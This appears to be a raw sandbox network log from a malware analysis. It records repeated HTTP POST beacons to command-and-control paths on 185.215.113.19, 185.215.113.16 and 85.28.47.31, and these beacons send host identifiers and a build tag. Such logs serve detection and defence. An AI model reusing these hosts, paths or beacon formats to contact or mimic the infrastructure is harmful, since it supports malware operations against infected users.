Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="build"sila------KJEGCFBGDHJJJJJKJECF--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
